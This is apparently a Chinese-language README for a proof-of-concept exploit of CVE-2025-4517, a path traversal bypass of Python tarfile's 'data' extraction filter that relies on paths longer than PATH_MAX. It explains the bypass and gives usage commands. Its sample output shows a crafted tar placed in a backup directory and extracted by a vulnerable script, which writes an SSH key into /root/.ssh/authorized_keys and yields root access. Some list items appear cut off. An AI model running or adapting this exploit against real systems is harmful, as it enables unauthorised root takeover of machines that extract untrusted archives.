Python
tarfile模块中的路径遍历漏洞,影响 3.8.0 至 3.13.1 版本。filter="data"沙箱旨在防止不安全的解压操作,但可通过构造超过PATH_MAX(4096 字节)的路径来绕过,导致os.path.realpath()静默停止解析符号链接。安全检查看到的是一个看似安全的路径,而内核解析的是真实路径,从而允许在解压目录之外写入文件。此 PoC 利用该绕过方式将 SSH 公钥写入/root/.ssh/authorized_keys。
PATH_MAX。filter="data" 调用 os.path.realpath() 验证每个路径——但在 PATH_MAX 处它停止解析,并认为该路径仍位于暂存目录内。检查通过。/root/.ssh/authorized_keys。ssh-keygen(或使用 -k 提供您自己的公钥)sudo 权限# 自动生成新的密钥对
python3 exploit.py
# 使用现有的公钥
python3 exploit.py -k ~/.ssh/id_ed25519.pub
示例:
$ python3 exploit.py
[+] SSH keypair generated: /tmp/cve_2025_4517_key
[*] Creating exploit tar...
[+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar
[*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit deployed successfully
[*] Triggering extraction via vulnerable script...
[+] Extraction completed
[*] Verifying exploit via SSH...
[+] SUCCESS! SSH as root confirmed: uid=0(root) gid=0(root) groups=0(root)
============================================================
[+] EXPLOITATION SUCCESSFUL!
[+] SSH into root with: ssh -i /tmp/cve_2025_4517_key root@localhost
============================================================
[?] Open root shell now? (y/n):